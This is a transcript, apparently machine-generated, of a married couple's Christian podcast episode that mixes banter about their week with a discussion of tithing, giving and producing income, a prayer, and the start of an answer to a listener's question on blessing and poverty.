I live in a j's podcast for monday.
Most wonderful show is keeping up with the Joneses.
Mrs Jones.
There is.
I'm not doing that podcast with me.
You will.
Wait, it's them to share.
Can you please be normal?
OK, sorry.
If you're going to be a Star Wars character, at least be Princess
late.
No, it's your turn.
Return of the day.
You had a rocks.
It's fairly late on Sunday night.
I'm in my pajamas.
Yes.
And it feels great in our house, doesn't it?
Yes.
I mean, do you mean like air quality wise or just peacefulness?
It feels really peaceful and still.
It does.
I hope wherever you are listening to this, you have an equal sense of peace.
Of course your peace might be ruined by my wife doing Yula impersonations.
I'm sure that's not going to be the case.
I'll just interspersed them throughout the podcast and then that way people will feel
like it's a normal part of the podcast.
I'm going to have my editing work.
I'll come out for me this evening.
So how the heck do you, Mrs. Jones?
I feel like I've missed out on large parts of the week with you.
That's what happens when you fly away.
Fly away, fly boy.
But I came back.
You did.
Tell me about your week.
Good week.
Taught on Sunship on year two, which is probably one of my new favorite teachings.
And it seems to be a new favorite teaching from everybody who's heard it.
Yes.
seems to be going over well.
I think because it's more encouraging
than looking at orphan behavior versus sons behavior.
It's like stages of maturing.
No matter where you're at, it's okay to be where you are.

So I think it's a more positive kind of view of sunset.
as opposed to our orphans versus sun teaching.
- Right, 'cause it kind of feels,
I mean, it can be very black and white.
You're either orphaning your son
or you're somewhere in between,
but it's hard to identify
if you might be somewhere in between.
- Right.
- So it's a little bit more encouraging.
And it also, I just think the different stages
of sunship really helped me as a pastor,
understand some of what I was seeing
and people that were getting stuck
and just being able to identify,
oh, it's okay, you're just at this stage of sunship.
And actually I know how to encourage you through that stage of friendship.
So for me, it actually made a big difference.
So I think probably that helps as well.
Cause I have a lot of hope as I'm teaching it.
And while you were teaching on sunset, I was teaching on practical life skills or how
to be utterly awesome in everyday life.
Yes.
I always get a giggle when I teach on how to handle humans.
Like here is an instruction manual for other people in your life.
But you kind of need that.
Yeah, I do.
on any given day human behavior.
I'm using instruction you need.
Sorry.
Go ahead.
Sorry.
I won't.
That's a lot of time.
Maybe.
You're durable.
Monday night, I had the challenge handed to me that we were we're on a negative
fast.
How's your negativity fast?
Go and baby.
Yeah, negativity can fast.

I think we're so so fast being negative.
-No. -No feast on it.
-I'm enjoying it immensely.
I find I struggle the most when I'm driving.
-Do you? -Yes.
-Is that because you have a low tolerance for bad drivers?
-I do. Very low. Very, very low.
-Well, that's good. God's teaching you to be gracious.
-It's bad when MJ says things from the backseat like, "Mummy,
does he not know what color of green that is?"
The reason he's saying that is because I will say things like,
"Are you waiting for a particular shade of green
where you start going.
So, yeah, if you're having that much fun, imagine what it was like me speaking on the
election on Monday night while on a negativity fast.
Yes, tricky.
I was supposed to say that I'm negative, but I'm catching myself.
Look at that.
Good job.
And then I flew up to Toronto on Wednesday, Wednesday night, I flew up.
You did.
So I thought Thursday and Friday, I flew back Friday night.
You saw my people?
I did.
Well, I saw some of your people.
Many people were away.
I know.
How dare they?
I know.
but I do want to say hello to Laura.
Laura Woodley-Ozman, it was so lovely to see you.
-And Laura, I love you. -You haven't heard any of Laura's music.
You're missing out seriously.
-She's fantastic. -Oh, she's amazing.
So anointed.
If you were to look at my iTunes play count, Laura Woodley's CDs would be
astronomically high. -Yeah.
-A large portion of the last 10 years of my soaking life has been to Laura Woodley.
-Yeah. -So I was lovely to see Laura.
I walked into the middle of a meeting you were having and then stole the person
meeting with because we could have lunch with Ben and Sarah, but I can't talk about that
because you'll be mad.
What were you teaching on?
I was teaching on boundaries and the poor souls had two days and eight sessions with
them.
So, yeah, morning and afternoon on a brand new concept and a brand new way of doing life.
And I forgot that it's such a multicultural school that there's all these people from,
you know, English is a second language for many of them, but they did great.
They, they leaned in and asked great questions.
So I loved that and then flew home.
Good.
You did.
Oh, did we know good?
You did.
You were there.
Remember you picked me up at midnight, but it took forever.
You're supposed to find it nine something.
I know, but we're fine about that because we're
because we're on a positive mess feast feast.
Yeah.
I I loved to staying up until midnight.
You can't just say that with sarcasm and say, well, I said the words.
Yeah.
It was nice to have you.
Oh, thank you.
Especially since you got up early on Saturday morning and let me sleep in.
Well, I had no choice.
Really?
Yeah, you kicked me out of bed.
I did?
You did.
Just with your heel.
This is my...
Really?
Yeah, I took that to mean you're the best husband in the world.
Please get out of bed.
I adore you.
And so I thought that's nice words of affirmation in the form of kicks to the small of my back.
I'll have to try that again next week then.
I thought it was like Morse code that you were tapping out.
I love you.
You are amazing.
the children. Well, they did. They hadn't seen you in days. So I'm two days. They probably loved it. Three, I think three. Depends how you can. Yeah, if you count days or whatever you're counting.
But then Saturday we had the emanate picnic in the park, which I have to say was amazing. I'm not one for outdoors, but I thoroughly enjoyed myself. It was fantastic. We played nine in the air. Yeah, I love that game. You didn't play. I know, but I was trying to send
like I was athletic and sporty for once.
-Oh, you are.
We played Nine in the Air, which is apparently the same thing as Four Square or Four on the
Floor or something like that, but you just kind of volley the ball up in the air.
-You need to let us say I'll put none of this in the show notes because I don't have a clue
what you're talking about.
-In the show notes or you're cutting it out of the actual podcast.
-I'll leave it in the podcast because I'm sure some people will connect with you.
-Oh, yeah.
We know that.
-Apparently, if you Google Four in the Air.
No, nine in the air. You'll see it.
And that was my point.
Yeah.
Saturday night, we got to go on the date and we got to see Jack Reacher.
We did. And I really liked it.
Jack Reacher, too.
And I max.
Yes.
That screen is enormous.
I know that's an understatement.
It was enormous.
And the sound of people's bones breaking was pretty disturbing.
It was classic Jack Reacher.

But I like to act the story actually like this one better than the first one.
Good.
I just realized I started the podcast in my content later and there's no easy way
to bridge from being contemplative to being an influencer.
So excuse me for a second while I leave.
And now I'm coming back.
Hey, everybody, what's going on?
There you go.
There's my influencer.
It's up a little bit.
So if you're listening to this on the way in and you're like, why does Alan sound so
It's because I'm quite tired, but now I'm completely awake.
Thanks to my wife's brilliant Yoda impersonations.
Thank you. You're so welcome.
I'd forget to ask you.
Literally, we haven't really talked because since we got back, we hit the floor running.
So what did you do while I was away in Toronto?
I had a great day.
I'm trying to think Wednesday, normal meetings, put kids to bed, watch TV.
Thursday worked on our presentation that happened this morning.
Talk about that.
Talk about what we're doing.
Well, we're revamping, overhauling, renovating our new children's wing.
So Gray Center is in an old school building, and we had been renting out part of the building,
a large portion of the building to a school that
existed to help kids with learning differences.
So they moved out in the summer and we got that space back.
It's an enormous amount of space that's available to renovate.
And what we're doing is renovating all of it for the children's wings.
So we're going to have brand new preschool area,
children's auditorium, grade school area, breakout rooms,
like just all kinds of craziness.
- And it's really exciting because it's,
I think it's one of the first areas at Grace Center
where we can be intentional with our scope
rather than inheriting, you know what we have,
basically massaging what we want to do
within the existing confines.
It's a new chapter at Grace Center.
I love it.
I thought you did a great presentation this morning.
- Thanks, babe.
I'm super excited.
And that was great taking people on a tour of this old building, but good lord, it was,
it was hard to breathe down that.
It smells horribly.
Yeah.
I mean, it needs renovating.
It's not, it's not like we can just throw paint on that bad boy and use it.
I mean, it's something's, it needs significant renovation.
So the great thing is the structure is great.
You know, the outside walls and all that kind of stuff.
So, yeah.
So we're, we're really excited.
met with a company called Worlds of Wow this week who kind of
kidify the space for lack of a better word. They theme
everything so that it feels like it's designed for children. So
we're really, really excited about the project. And you love
it because you get to tap into all your architectural space
design. Yeah. Yeah. Yeah. My dad was an architect and I worked
in his office in the summers and stuff. And I love that. I love
plans and I can visualize it quite easily and stuff. So I'm loving all of it.
All right. Our topic for this week.
I didn't get to tell you about my weekend.
Okay.
On Friday, I made blender bread.
Is that why you just ate?
Yeah.
Okay.
It's made from cashews and eggs.
You know my most bread.
You can cook on that flour.
You know my most bread isn't made from nuts and eggs.
Well, just...
Unless you want to eat something that tastes like a kitchen sponge, I hope this is
- It's just making it.
- And let's toast it, kitchen sponge.
- So it's crispy and then moist.
It's like (slurps)
- It is, but it's grain free,
and my stomach doesn't react to it at all.
- But it tastes disgusting.
- It's not awesome, but it's not too bad.
I don't mind it.
- But I don't want to give myself the eating stuff
that can be described as, it's not awesome,
and it's not too bad.
- Well, okay, I enjoy it as much as I enjoy anything
like Azika bread or any of the
gluten free breads as you can bread is like eating toenails bread yeah well I just love
it oh wait positivity fast feast yummy toenails and bread yeah what are we going to do about
this I'm so sorry to negative to pass skip this up we're doing it right it's really
late at night and we've had a busy week so we're going to we're going to be on it tomorrow
we're going to be so enthusiastic we're going to be so positive tomorrow it's going to
eradicate today. That's how it works. Oh yeah. Oh yeah. Should we move on to our actual topic
for this week? Okay, I just wanted to do another. I had a nice couple of days. I'm thrilled,
baby. That's awesome. I'm glad you had a couple of days. You had girl time? I had lots of girl
time. Okay, good. Yeah. It was good. Is that why you had your hair all curly when you met
me at the airport? Yes. I was like, why don't you have time to do your hair? Because my beautiful
friend, neighbor, Lauren came over and curled my hair for me. Did she happen to leave three
curling irons behind. No, those are mine. You have three curling irons. No, I don't have
three curling irons. I have one straightening iron, one small curling iron, and one large
curling iron. I've been corrected. Thank you. I guess it's like me having a laptop and iPad
and iPhone. Yeah, you have three devices? Yeah. Yeah. No, that makes sense. I just don't leave
them all on the kitchen counter. Yes, you have. I guess there's a difference. You've definitely
left all your devices in the kitchen counter before.
Our topic for this week is money.
Wow.
I know.
Well, I was teaching on it a little bit this week and I looked through our index page on
the website to look at all the episodes because we're now in our 125th episode and I've forgotten
what we have to talk about and what we haven't.
Let's face facts.

Let's face facts in all likelihood.
We are going to revisit topics again, but right now I'm trying to make sure that we're
not boring people.
Right.
But we haven't talked about money.
I mean, the topic of money has come up, but as a main topic, no.
Okay.
We have never.
Oh, that's exciting.
So I was thinking there was a bunch of things that we could talk about.
There's so many wide-ranging things, principles, etc.
Okay.
Regarding money.
But I've narrowed it down to three.
Excellent.
for us they've been three that have produced the most fruit in our lives and
it's nearly ten o'clock at night and also none of them are negative. All right,
three principles regarding money. I'm gonna say the words and you're gonna
talk to me about them. Oh yeah because in my show notes it just is three things.
I haven't actually written anything down. We rarely ever do anyway but so
first principle I say tithing to you and you say what? I think it's a fantastic
Look at you and your positivity feast.
Thank you.
It's 10% well spent.
I think it's interesting that as teachers and preachers, we'll cover an awful lot of controversial material.
Yes.
But none yields greater pushback in the spirit when we're speaking on it, in my opinion, than
tithing and maybe women in ministry, but probably tithing predominantly.
Yeah.
And I think it's hysterical that we worship and follow an amazingly generous God that we want to be like.
But it feels like some Christians want to fight over 10%.
Yeah, it's pretty wild, isn't it?
I wonder if it's wild because it's not theoretical for us.
It's something that has been proven in our life to be astonishing.
Like it's absolutely true that we have found that the 90% goes way further than the 100% could.
And that's just bad math.
It doesn't make sense.
Right. God's good at bad math. Oh, yeah, he always runs up. Yeah. But what's funny is I think in the discussions of I don't know what's at the, I don't know what's at the root of it. Like we'll, we'll.
Probably fear.
But that doesn't make sense. You're trusting your life to the Lord.  Your eternity to the Lord. Why would you not trust him with your finances?
I don't know. I'm trying to think like I mean, I didn't always tithe.
I didn't start tithing until probably I got pretty serious about the Lord and
Then I started hearing messages on tithing and I thought huh well, I guess I'll try that
and started just
Started tithing 10% right away. I know people that
You know started trying with 5% to begin with or whatever and
Totally cool, but I started with 10% because that's what somebody told me to do and in that one year
I think I got promoted eight times at work. I was like, okay. Well, there you go
But that was you know that was years and years and years ago
And I think it's not even in our heads that that 10% would ever get touched by us
I think cancer been my sister or brother-in-law
We were at the church or they said it to us or they tweeted out
Well, I thought it was a brilliant line that you don't give a tithe to God.
You return a tithe.
It's already his.
You can't give something to somebody when it already belongs to them.
So you're right.
We've never considered that 10% hours to begin with.

I wonder if in response to my earlier, I can't understand why
Christians have a problem with tithing.
It's probably, I would imagine, mostly to do with the delivery that they've heard it.
Like I've heard some shocking, shockingly bad.
Oh, you're so a vine, which is hugely abusive and doesn't serve scripture very well or hugely
manipulative.
Right.
Yeah.
And so maybe the maybe the apprehension is from the control and manipulation that's
been said.
Yeah.
It's possible.
I so tithing, if you're not familiar with it, is giving the first 10% of everything
you make and giving it to the Lord.
In my understanding, it's giving it to your local church, where you get fed.
Yes.
I don't think it's for giving away to other.
Parachurch organizations.
I think it goes directly where you eat your local church, where you get fed is.
Yeah.
I mean, you can give extra away to parachurch and whatever, but we'll talk about that in a second.
Um, I think, babe, like when you think about, I do think it's fear, um, that keeps a lot
of people from tithing.
And I think it's fear that they won't have enough.
And I think that stems from actually just not knowing
how good God is or how big he is
or how faithful he is or what a good dad he is.
'Cause if you don't know any of those things,
then you're kind of in it on your own
and giving away 10% of your salary seems like insanity.
- All right, I backtrack my intense reaction.
- Okay.
- And given I'm on an activity fast,
I make another mark and my checkbook for...
- I think for me, it's just a funny thing
because it's always been clear for me in scripture.
And more than that, it is produced incredible dividends
in my life, not that that's what it's about,
but honestly, it's just obedience to the Lord.
- Right.
- And I love it.
Do you know who really impresses me and fascinates me?
- Who?
- Is Rick Warren. - Okay.
- So Rick Warren writes "The Purpose-Driven Life."
I think I'm accurate in saying this,
it's the most published book or most sold copies apart from the Bible, which is astonishing.
And I was watching an interview with him. I'll try and put Link in the show note to it.
I think it was an interview with John Piper, where he was talking about what happens when you write
the most published book in the world except for the Bible. And he said, it's just tens of millions
of dollars begin flowing through your hands. And he said, yeah, two things happen. He said,
you become insanely wealthy and then you have incredible influence. And he said, I was actually
more scared about dishonoring the Lord through the misuse of influence than I was about the
misuse of finances. And he said, in part, because before I ever had millions of dollars flowing through
my hands, a long time ago, I settled this issue with the Lord, but the grace of God had never
been an issue I'd struggled with. And he said, my wife and I have never, I think he said never
given less than 20% in our whole life. I think that's why 12%. It was something like that.
It was above the 10%. He said, "We just started out 10 and just worked up and we've never given
below 20%. I think again I'm correct." Anyway, the point was he's just been tithing and then some.
So when the money came, it wasn't an idol to him. He just spent on behalf of people who had no
influences what he said. I loved that. I thought, "Wouldn't it be great to get to the point where
money has no control over you. And what I love about tithing is every month, we get to punch fear in the throat.
Yeah.
We get to really practically step out in faith and go, okay, yes, we could do with that money.
We could see how that money could be used to help our family or pay off debt or be put into savings or whatever.
Right.
But we get to just pre-decide, "No, our confidence and our faith is in God, there you go, God."
And I love that. I love that real feeling about tithing.
Me too.
What do you think about people who say, "I've tried tithing and it doesn't work"?
I mean, what do I think about them?
No, I think what... I mean that...
I don't know. I guess it would... How do you try for it? I don't understand trying it anyway,
Because in my mind, it's just an act of obedience.
It's something that the Lord is, you know, it's mandated in Scripture.
It's in both the Old Testament and the New Testament.
It predates the Old Covenant.
It's not part of that.
I've heard that argument, but it's not actually part of the Old Covenant.
And, you know, Jesus even talked about it.
Didn't say stop doing it.
You know, so it is New Testament as well.
and I just think it's wisdom to do it.
And my thought is, really anything in life,
if you just give it a try,
there's probably a limited success rate
on trying anything.
- I tried going to gym and I didn't get a six pack.
- Right.
So you got to go into anything
like you're going in for the long haul.
- Well, it's the whole thing of,
I tried typing it didn't work.
I was like, no, you gave 10% a few times.
that's different from the lifestyle of giving.
- Yeah.
- Anyway, I realize I'm sounding quite sharp
and like I have an edge and I totally don't mean to.
So I apologize if that's the way it's coming across.
I'd rather be encouraging rather than snorke
and I fear I'm being a bit snorke.
So if that's the case, I absolutely apologize for that.
- It's probably for my cashew bread, sorry babe.
- Yeah, sorry.
I just ate a toasted sponge.
(laughing)
- And that was a little grumpy.
- Yeah.
- Mm, is this fermented kitchen sponge?
(laughing)
One of the nuts and eggs, you say, never told.
So tithing, tithing is a no-brainer.
- Yeah.
- Love tithing, a huge fan of tithing.
Let's talk about the second principle, giving.
You know what I used to think?
I like I've tithed as long as I can remember really.
I mean, that's not strictly true,
but my tithing predates anything of sincerity
with the Lord really, because I was taught that.
But once I gave the Lord the 10%,
I was so stingy with a 90%, it was ridiculous.

And I could just be icy cold when offerings came up
because I just thought, nope, this is my 9%,
I've already given my 10%.
- It's my mommy.
- Yeah, and that stinginess,
that fear, I think it is, fear of lack,
fear of not having enough.
And I, of the many miracles God's done in my life,
I think one of the things I'm most grateful for
is the Lord lavishing me with his kindness and in doing so teaching me that when I am,
when I give I'm most like my father. And so I have loved, I love that we have part of our budget
set aside to give on top of our tithe. Now, like anything we talk about in the podcast,
I struggle with the fact that we're being vulnerable because I'd hate for this to be about us,
Not that I actually know what I'm going to stop apologizing.
Nobody's making a listen to this podcast.
You do each week, so you probably don't care.
So I love that we have a giving budget.
Yeah. On top of a tithing budget.
And I think your gifts, once the tithe has been given to your local church,
I think your gifts get to go wherever you want.
And what would you say the ratio is of when the Holy Spirit tells us to give
or directs or giving verses when we just want to give?
Oh gosh, I don't know.
I don't think I've ever really thought about it.
I mean, so some things are just giving in small ways.
Like if we see anybody who's in the armed forces
or police or firemen or whatever,
if we can buy their food or buy their, you know,
whatever, that's just, you know, just generosity
being generous people.
- Right.
- Just super fun, but you know,
I suppose that's termed as giving.
- Right.
But then we also have like scheduled things that we give to.
Right.
I just think back in my days when I wouldn't give unless the Holy
Spirit prompted me to give.
Right.
Now, like, for example, we have what dates are offering coming.
Oh, on November 20th.
OK, so now November 20th, we're going to be taking up a one time offering
to bring in all the money we need to do our children's ministry, somewhere
in the region of half a million dollars.
Yes.
And I already am so excited about giving.
So I'm, I'm, what, what happens is I usually get so excited
about giving that I need to be, it takes a while for me to be
talked out of what I want to do.
So like I leaned over to you this weekend and with wild, crazy,
I was like, babe, this is what I want to give to this.
And you're like, let's talk about that, shall we?
And I'm actually fine with what you want to give to you.
You are. Yeah.
Okay, great.
between the two of us, we don't need both kidneys.
Right.
Right.
But like what I find is this, this percolating joy in my heart about the thought of getting to give and this, this delight.
And I heard, I forget who told me this, but I loved it.
I was teaching on it this week about your ties protects your finances, but you're giving determines your increase increase.
And I love that.
And we've found that to be true.
like, because I'm a nerd, I actually charted our giving, not our tithing.
So take the tithe off the table.
The tithe just happens anyway.
Right.
But one year I just, I kept track of what we gave.
And then another column and a spreadsheet, I kept track of what we received.
Right.
And some of that is monetary and some of it is, uh, other.
Oh, yes.
Like upgrades and gifts surprises.
And I think I averaged that.
I think it was something like a 1400% return on quote unquote investment.
I'm pretty sure you can't get that in the banking world.
I have just seen time and time again that the proportion that we are moved in our
hearts to give results in, in unexpected blessings.
And it's hard to teach teaching about giving because you end up talking about
receiving.
And that isn't the point that the joy is in the giving, the receiving of blessing
feels like astonishment.
Right. And I don't want to get caught in the, well, I'm giving to get. I want to give because I feel like my father when I give.
Yeah, it's fun. I think too, like when you think about, you're talking about returning the tie, then that giving is what provides the increase.
That I mean, that's Malachi right there, isn't it?
Or Malachi if you're Italian.
Right. The Italian prophet, Malachi.
You know, where it's just talking about returning the tithe to the Lord, but it also talks about,
you know, if giving opens the storehouses of heaven where the tithe protects your money.
Right.
So, you know, you give 10 percent that protects your finances, it protects your,
your life as it were financially. But then giving extras what actually opens the floodgates
of heaven. So it seems like when there's stuff like that written, it's worth taking it out for a
test drive. Well, especially when it's like task mean this. So when you have an opportunity
to deliberately task God in something, his invitation, buckle up, bar a cup.

Here's something that we've noticed in our life is there's like we,
we budge it into our giving, giving.
But then there's another type of giving, which is sacrificial giving.
Yeah.
I realize that still deep breath moment in my life.
It's it doesn't.
I don't think it's an alley, but there's moments where I'm like,
"Oh, right, we're gonna go for this, are we?"
And I quite like that moment in the same way that I would imagine cliff jumpers like the
moment when they're at the top of a really scary cliff and thinking, "I'm sure I'm going
to like this when I survive this, but right now I'm adrenaline pumping."
Right.
And I think the cool thing is we've never not found God faithful in those moments, but
always it's usually if it's a sacrificial giving, it's going to cost you.
You're right.
But what's good is usually, I can't think of a time when we haven't ended up
with the same number to give when it's been the big sacrificial ones where
it's like, "Okay, give me two."
I have to say that is one of the big benefits of being married.
No kidding.
I mean, there's obvious benefits of both.
But one of the great joys for me is when I was on my own, I just thought I wasn't confident
that what I was giving was smart or wise or I don't know.
So I like it now when we have an opportunity to give, when I look in and go, what did you
get?
And you're like, what did you get?
And we more often than not come up the same number.
when we don't, what do we tend to do when we don't?
Do we give the bigger one?
Or we meet in the middle?
Yeah.
If one of us is completely out of touch
with our financial situation.
Like, babe, we don't actually have that.
We don't have $10 million to give, but you're adorable.
Well, so first two principles then,
that we've lived by is tithing and is giving.
Can I just tell you one other thing
that I think is really cool about the whole giving thing?
We have some friends who they really feel like,
at some point in their lives, the Lord is going to allow them
to pay off people's mortgages.
- Oh, I love this story.
- And so they're like, you know, at this point,
that's not something we can do,
but what we could do is make a mortgage payment for someone
which would be heading in the direction of what we wanna do.
- I love that.

So I love that stuff too.
- Yeah, I love that there's someone where they want to go.
Do you want to talk about the time,
because I was telling this this week,
and I don't think people believe us.
I think people think, oh, I don't know what people think,
but I love the day that we decided.
I forgot who challenged us,
but the day we decided to give 11% instead of 10.
And do you remember that story?
- I don't.
- Okay, we'll see if I can jog your memory.
It was a sandy night, we were out on a date, and at that point, our budget didn't allow
us to do nice things for dates.
So what we would do for a date is we would go to Starbucks and get a coffee, and then
we would wander around Bed Bath and Beyond or Target or whatever, and just look at things
that we couldn't afford to buy.
And so we'd wander around that.
And that particular night, we'd been looking at drapes, and we'd been looking at bar stools
because we were doing some bar stools.
And we'd been in Costco and we were dreaming about getting a large trampoline for the kids.
Do you remember that?
I do and it's a kind of a bittersweet thing because one allows your heart to dream, but then you're also looking price tag for money
You don't have money buy this and so no problem no problem at all
and so we go home and I
Forget what it was I heard a test money or heard something anyway
We end up being challenged to give 11% yeah, and I say challenged
I don't mean the Holy Spirit come and say the game I said give 11%
I just mean we were inspired by other stories of people so we were like right
We're going to start writing 11% tithe checks instead of 10%.
Yeah.
And the first one we did.
Now, it's funny because 1% of the 10% you're giving isn't that much.
No, but it feels like a lot.
Well, yes.
So we started and then our neighbors stopped by and say hello.
Now, what was interesting about these neighbors is I think without any sense of exaggeration,
we met them once when they moved in.
We took them bags of groceries to say welcome to the neighborhood.
Yes.
and then literally never saw them again.
- That's true.
- For about two, two and a half years.
- Yeah.
- And this is the second time we see them.
They knock on our door.
We don't even know who they are.
They have to explain, oh, we're neighbors.
And their opening question is,
you guys don't need a trampoline, do you?
And we're like, what?
And they're like, well, we have one of those big round
trampolines with a big net.
And we're moving house and we don't want to bring it.
And we just thought we could roll over to your house.
It's that's what you would like.
And we're like, yes, very much so.
So we go over to their house and they're taking us through their house into the back garden.
And as we're there, they're like, hey, you don't want any barstools, do you?
And they just said, yeah, we're not taking them either.
And then so we go out and we look at the trampoline, we're like, oh, that's amazing.

So do you need like drapes, curtains, and.
- Adio furniture. - Adio furniture.
That's right. They gave us. - They gave us so much stuff.
- And in the space of one afternoon, we ended up with all the stuff, including the sofas that live
upstairs in our in our bonus room, which I think we bought for like a hundred and fifty bucks.
That was the only thing we paid for everything else. We got given free. And I was like, Lord,
that is spooky. Like that 1%. And this is the revelation. Lord, give me Alan. You give what
you do have, you get what you could never have afforded. And that has been consistent. That has
proven true over and over and over and over again. So anyway, if you're not tithing, I'd really
encourage you to tithe. Go listen to some great teaching about tithing. If you are tithing,
I'd encourage you to give and don't wait for the Holy Spirit to lead you in to give
but start by being spontaneous and see what that takes you.
Spontaneous and generous and see what happens.
The third thing is producing money. That's a revelation the Lord started giving us.
Because we started saying to the Lord Lord we we did not get into ministry for money.
But we realize for the things that we would like to do for our kids, we would like to have
more income than we currently have. We don't want to be a drain on the church. We have no
expectation that the church is responsible for meeting our lifestyle. We believe that God is going
to. And so one day I just started asking the Lord Lord can you help me because if I'm honest my
My heart was feeling bad that I wanted more money.
What do you think about that?
Well, I mean...
Because that verse description says, "You know, I've learned to be a base, I've learned
to have margin, but I've learned the secret of being content."
I think the only things that I find hard is when you realize you can't do things, some
things for the kids.
Like, those are the places where I realize, "Oh, my heart feels sad about that and I want
to do something to enhance our finances so that we can do some extra things for the kids.
Right, because I look down the line, I think about school, and I think about all that sort
of stuff. The other thing is, I think about when you and I were dating, John and Carol
basically funded my life for a year. And I wouldn't have had the experiences I had if
they hadn't had enough money to fund my life.  And I'm like, I would love to
be in that position. That's something I would love to do. And so in the measure that we do have,
we're aiming towards that. We're showing where we want to go. But nevertheless, I settled in my
heart that I would actually like more money and I think I'm okay with that and I'm happy
to be challenged on that.
And to my great surprise, the law was like, oh, I'd love to give you more money.
And I was like, oh, you would.
And the law was like, yeah, I actually give you the power to get wealth.
So I was like, okay, Lord, well, that's interesting.
How I know that you give me the power to get wealth.
How does that work?
And this is what the Lord said.
The Lord said, "Put something in my hand to multiply."
Wow.
And so that goes in hands with, I think one of the reasons, one of the ways that you produce
wealth is you become generous, you give what you do have you get what you could never have
afforded.
So if you think about our lifestyle, large parts of our lifestyle are funded by the Lord,
not by our paycheck.
Yes.
And that's amazing to me.
- It is amazing.
- But the other thing is,
if we put ideas in the Lord's hand,
he generates wealth out of that.
So we've got friends who are artists or musicians
or podcast editors or writers or any of those things.
And I love watching them get commercial success
as much as I do,
watching them get critical success.
So I see people start businesses
or I see people think,
"I'm going to try being this."
and I watch them take a step out and the Lord bless them on that and financially reward them as they go to work on that.
So I've loved, for example, watching you decide, I'm going to write books.
I've never written books before.
I don't even know how that works.
I don't know how it would get published.
And I'm watching as you step forward, the Lord meets you and multiplies blessing and us producing teaching material and us, you know, traveling and just saying,
Okay, Lord, would you give us opportunity to speak and go places?
You know, our gifts are teaching.
I'm not good at dancing.
I'm not good at it.
You know, it's not like I can do stop.
Yeah.
Great at dancing.
I am great at dancing, but it's only for you.
It's not like I can do dancing lessons.
Okay, guys, I'm going to take an ad out creepy dance lessons offered by
uncoordinated alum.
You're not a creepy dancer or an uncoordinated limp.
Babe, on our honeymoon.
Yes.
We called it the sexy dance, but it really was the creepy dance.
Yes, and you did manage to remove your big toenail while doing it.
And I also managed to cover you in hot candle wax.
That's true.
So generally speaking, the sexy dance has not been that sexy.
I'm not talking about that dance.
I'm just talking about if we go to a wedding or whatever, you can actually dance.

No, no, I am most definitely the white boy who can dance.
No, I disagree.
I know.
I've seen the white men that can't dance and you're not him.
No, no.
Inside my head, any time I'm dancing a wedding, which is why I never is I'm like, what are you doing?
What are you doing?
Stop it right now.

Well, no, inside my head, I'm thinking, I'm just going to pass out.
That's what I'll do.
I'll pretend I'm an archalaptic and I've just fallen asleep on the floor.
Collapse, pretend I'm asleep.
I don't know.
Yeah.
OK, I didn't know that was going on, but you're not a bad dancer.
No.
Well, you're going to have to trust me.
I don't know in that area.
I think that's your one area of confusion.
-Now, you're sexy.
-Well, yeah.
-Okay.
-Okay, well, suddenly we've moved into our rated territory.
Anyway, my point in all of this is...
-Yes, you will.
-Oh, my gosh.
-Okay.
-Get out your system.
-Okay.
-Anything else?
-It leads to anger.
Anger leads to hate.
Hate leads to suffering.
-You're the one on an activity.
-Oh, I'm sorry.
-I'm the one on anger for fear or hate.
Sorry.
So my encouragement is put something in God's hand to multiply.
Yes.
Even if the stuff that you're thinking, man, I should list out on Craigslist.
You don't get money by thinking you should list stuff on Craigslist.
You do get money by listing on Craigslist.
Right.
Martin Smith of Delirious Fame.
I read an interview with him and he said, it's funny.
Britain and America has two different thoughts regarding money in Christian circles.
He said, "In America, it seems like wealth is seen as a sign of blessing from God."
Right.
Whereas in Britain, wealth makes you feel like you're grubby and sinful.
Oh, wow.
And I thought, I mean, I haven't been in Britain for so many years to know if that's true,
but I realize I've grown up with some sort of grubby, like I'm more familiar with the verses and scripture
about the love of money is the root of all evil.
Right.
than I am about God's abundance and blessing. And I realized God's had to work over time on the
shyness in my heart regarding money. Oh, wow. That's a good realization. Yeah. Yeah. All right.
Anything else you want to say about tithing, giving or producing? Yeah. I think it would be
just good if we prayed for our listeners today. Okay. Okay. Are you going to do that or would
you like me to? Well, you can do it. No, you pray in a yoga voice and see if God answers you.
Really? No. That was gonna be fun.
Lord, thank you that you're amazing, that you are wonderful.
You're a wonderful dad.

And Lord, that we don't need to worry about anything at all,
because you were on the throne and you know what's going on in each one of our lives.
And Lord, I ask that for anybody that's just entering into the journey of learning to
tithe, Father, that you would meet them in the midst of that.
And you would remove every stronghold of fear and help them to just press into knowing the
blessings that come with obedience.
Lord, and Father, I ask for all of us that you would give us stuff to give away, that
you would move on our hearts when you want us to give.
that you would show us things that we can be generous towards.
And Lord, that you would help us with ideas and inventions
and songs and things that produce
so that we can be representing your kingdom
wherever we are and be generous people.
- Amen.
- Amen.
- All right, do I have a listeners question for you
that dovetail's perfectly with what we've just been talking about?
- Oh, okay.
- So this is from Hannah and Hannah wrote in
She said, "Hello!" I listened to her podcast regularly. Thank you.
"And visit M&H sometimes when I come to visit my brother and I hear you talk all the time about
how God is going to bless me with abundance when I expect and believe that he will do so."
And she wrote, paraphrased, obviously. "I have a hard time understanding how God wants to bless me,
a middle-class white privileged American, while there are so many people in the world who experience
homelessness, poverty, oppression, etc. How can I justify and accept my blessings when
so many others go without? In summary, I have a difficult time believing that those people
suffering just aren't being positive enough to receive God's blessing or don't have
enough faith. Do I have a faulty understanding of abundance and blessing?
It's a great question, Hannah, and I'm glad that you asked it. I don't know if you have
a faulty understanding of abundance and blessing, I think you might have a faulty interpretation.
It sounds like some of the stuff that you're asking would be an interpretation of an extension
of the stuff I've been saying. What it feels like you're saying is, "Oh, because you're saying this,
then x, y, and z follows." I don't necessarily agree with how you got to where you've got with
with your questions, but I have thought similar sorts of things.
So, your answer is probably worthy of a better one than I think I can give, but the way I
think about blessing is if we abstract it for money, if we take money off the table,
and let's talk about blessing not in terms of money, which is somewhat ironic given we've
just talked about money for this whole episode.
I will say it's the first time on 124 episodes that we have talked about money, so I think
there's some balance. But if we take money away from him, and if I was to ask you Hannah,
just this question, does God want to bless his children?
Even the children who are homeless and in poverty and impression, is it clear from the Bible that
God actually wants to bless his children? I think nobody would have a problem with saying, yes,
He absolutely does.
And if you were just to look at Scripture, for example, Genesis 1, right at the first
book of the Bible, the first thing God does after creation is to start blessing us.
It's amazing.
Number 6, verse 24 is a prayer, "May the Lord bless you and protect you."
So the problem isn't so much with the fact that God wants to bless us.
that we become uncomfortable, I think, with the thought of God blessing. It's like it's interesting
that you say, "I have a hard time understanding how God wants to bless me." That is a very common
